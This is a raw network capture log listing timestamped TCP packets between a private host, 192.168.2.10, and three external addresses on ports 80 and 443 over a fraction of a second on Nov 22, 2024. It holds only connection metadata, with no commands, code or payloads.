Nov 22, 2024 17:08:56.817800045 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.817811012 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.817831993 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.817851067 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.817878962 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.817889929 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.817892075 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.817919016 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.817935944 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.817941904 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.817966938 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.817996025 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.817996979 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.818006992 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.818038940 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.818038940 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.818054914 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.818078995 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.818089008 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.818094969 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.818101883 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.818123102 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.818134069 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.818159103 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.818186998 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.818186998 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.818200111 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.818224907 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.818224907 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.818229914 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.818243027 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.818247080 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.818267107 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.818348885 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.818408966 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.818507910 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.818566084 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.818772078 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.818773031 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.818780899 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.818955898 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.819042921 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.819050074 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.819253922 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.819281101 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.819351912 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.819359064 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.819406986 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.819536924 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.819550037 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.819590092 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.819739103 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.819751024 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.819801092 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.819812059 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.819839954 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.819869995 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.819870949 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.819881916 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.819901943 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.819919109 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.819956064 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.819968939 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.819974899 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.819998980 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820003986 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.820009947 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820022106 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820029020 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.820035934 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820061922 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.820086956 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.820091963 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820103884 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820142031 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820152998 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820188046 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820200920 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.820199966 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820200920 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.820213079 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820221901 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.820226908 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820236921 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.820251942 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.820262909 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820272923 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820339918 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.820633888 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820646048 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820691109 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.820691109 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.820878029 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820897102 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820910931 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.820923090 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820925951 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.820935011 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820960999 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.820970058 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.820980072 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.820985079 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.821001053 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.821017027 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.821017981 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.821038008 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.821049929 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.821062088 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.821072102 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.821095943 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.821109056 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.821113110 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.821145058 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.821162939 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.821175098 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.821212053 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.821223974 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.821235895 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.821247101 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.821254015 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.821278095 CET	443	49780	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.821288109 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.821297884 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.821312904 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.821331978 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.821345091 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.821351051 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.821384907 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.821423054 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.821796894 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.821836948 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.821868896 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.821892977 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.821916103 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.821928024 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.821928024 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.821934938 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.821971893 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.821993113 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.822016954 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.822038889 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.822062969 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.822101116 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.822101116 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.822108984 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.822122097 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.822144032 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.822168112 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.822179079 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.822201967 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.822213888 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.822216988 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.822220087 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.822227955 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.822257996 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.822282076 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.822552919 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.822587013 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.822591066 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.822598934 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.822714090 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.822809935 CET	49780	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.822818995 CET	443	49780	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.822858095 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.822870016 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.822921991 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.822921991 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.822928905 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.822940111 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.822987080 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.822998047 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823007107 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823020935 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823040009 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.823050022 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823061943 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823067904 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.823074102 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823084116 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.823088884 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823111057 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823121071 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.823124886 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823134899 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823146105 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.823148012 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823162079 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823163033 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.823179007 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.823179960 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823190928 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823203087 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.823205948 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823219061 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823220968 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.823230028 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823255062 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.823257923 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823270082 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823276043 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.823283911 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823295116 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823326111 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.823331118 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823344946 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823347092 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.823348045 CET	443	49780	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.823363066 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823373079 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.823407888 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.823601007 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823613882 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823626995 CET	443	49781	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.823636055 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.823653936 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.823673010 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.824163914 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.824421883 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.825489998 CET	49780	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.825623035 CET	443	49780	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.825635910 CET	443	49782	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.825768948 CET	49781	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.825793028 CET	443	49781	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.826145887 CET	443	49781	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.826904058 CET	49782	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.826911926 CET	443	49782	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.827250957 CET	443	49782	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.827420950 CET	49780	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.827783108 CET	49781	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.827891111 CET	443	49781	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.828186035 CET	49782	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.828253984 CET	443	49782	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.828349113 CET	49781	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.828536987 CET	49782	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:56.866334915 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.866400003 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.871329069 CET	443	49780	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.871337891 CET	443	49781	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.871340990 CET	443	49782	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:56.940964937 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.941051960 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.941729069 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.941802025 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.941848993 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.941852093 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.941890001 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.943471909 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.943487883 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.943542004 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.943574905 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.944555998 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.944749117 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.944761038 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.945903063 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.945956945 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.946011066 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.946224928 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.947778940 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.947791100 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.947839975 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.949019909 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.949098110 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.949106932 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.950105906 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.950119019 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.950160027 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.950192928 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.952052116 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.952163935 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.952224016 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.953370094 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.953438997 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.953447104 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.953658104 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.953670979 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.953705072 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.955004930 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.955058098 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.955080986 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.955764055 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.956490040 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.956545115 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.956593037 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.956701040 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.957770109 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.957885027 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.957895994 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.957933903 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.957993031 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.958015919 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.958445072 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.959429026 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.959521055 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.959593058 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.960892916 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.960941076 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.961129904 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.961272955 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.962398052 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.962408066 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.962477922 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.962487936 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.962510109 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.962511063 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.962547064 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.963833094 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.963897943 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.963900089 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.964011908 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.965332985 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.965435028 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.965444088 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.965601921 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.966830015 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.966840982 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.966886044 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.968441963 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.968489885 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.968504906 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.968539953 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.969742060 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.969873905 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.969923019 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.971235037 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.971309900 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.971328020 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.971365929 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.971379042 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.971443892 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.971453905 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.971522093 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.972711086 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.972754955 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.972831964 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.972832918 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.974153042 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.974234104 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.974257946 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.974288940 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.975647926 CET	80	49747	185.215.113.206	192.168.2.10
